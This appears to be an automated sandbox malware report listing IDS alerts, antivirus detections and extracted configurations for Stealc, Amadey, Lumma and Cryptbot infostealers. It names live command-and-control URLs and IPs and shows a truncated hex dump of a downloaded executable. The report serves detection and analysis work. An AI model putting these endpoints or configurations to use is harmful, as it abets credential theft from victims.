2024-11-26T10:10:57.665414+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:11:01.040230+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:01.608339+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:02.180205+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:02.749422+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:03.313126+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:11.750938+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:12.329268+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:12.907367+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:13.485384+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:14.111124+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50145	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:00.624714+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49711	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:00.291561+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49711	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:00.956081+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49711	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:02.421741+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49711	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:01.086605+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49711	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:42.344774+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50047	104.21.7.169	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:08:59.829822+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:10:47.935536+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50062	185.215.113.206	80	TCP
2024-11-26T10:11:09.567591+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50139	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:05.788538+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49951	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:13.792751+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49956	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:10.330299+0100	2803305	3	Unknown Traffic	192.168.2.5	49961	31.41.244.11	80	TCP
2024-11-26T10:10:16.641832+0100	2803305	3	Unknown Traffic	192.168.2.5	49979	31.41.244.11	80	TCP
2024-11-26T10:10:29.537824+0100	2803305	3	Unknown Traffic	192.168.2.5	50012	185.215.113.16	80	TCP
2024-11-26T10:10:38.451941+0100	2803305	3	Unknown Traffic	192.168.2.5	50036	185.215.113.16	80	TCP
2024-11-26T10:10:47.309208+0100	2803305	3	Unknown Traffic	192.168.2.5	50060	185.215.113.16	80	TCP
2024-11-26T10:10:54.525745+0100	2803305	3	Unknown Traffic	192.168.2.5	50088	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:09:03.315669+0100	2803304	3	Unknown Traffic	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:29.508723+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:31.538160+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:32.841201+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:33.940591+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:37.501758+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:38.555285+0100	2803304	3	Unknown Traffic	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:44.149155+0100	2803304	3	Unknown Traffic	192.168.2.5	49891	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:54.807198+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50090	104.21.7.169	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://occupy-blushi.sbs/apiMY	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php-9k	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/6	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/N	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/E	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/r&	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/D	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/Z	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/R	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000014.00000002.2648360927.0000000000621000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 684030933f.exe.6292.28.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://occupy-blushi.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vg9qcBa[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C62A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624440 PK11_PrivDecrypt,	0_2_6C624440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C5F4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6244C0 PK11_PubEncrypt,	0_2_6C6244C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6725B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6725B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C608670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C62A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C60E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C64A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C650180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6243B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6243B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C647C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C607D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C64BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C649EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C623FF0 PK11_PrivDecryptPKCS1,	0_2_6C623FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C629840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C623850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C623850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C64DA40

Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_852a16e5-4

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.22:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50177 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2608321181.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 34712696d0.exe, 00000031.00000003.3287455620.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, 34712696d0.exe, 00000031.00000002.3290731030.00000000007C2000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2608321181.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D4236A FindFirstFileExW,		23_2_00D4236A
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D4241B FindFirstFileExW,FindNextFileW,FindClose,FindClose,		23_2_00D4241B

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 38MB
Source: firefox.exe	Memory has grown: Private usage: 0MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49711 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49711 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49711 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49711 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49951 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49956
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49973 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50007 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50033 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50056 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50062 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50082 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50139 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50107 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50145 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50091 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49972 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50039 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50039 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49972 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50047 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50086 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50086 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50111 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50031 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50031 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50090 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50177 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50177 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50159 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50159 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50079 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50079 -> 104.21.7.169:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://occupy-blushi.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 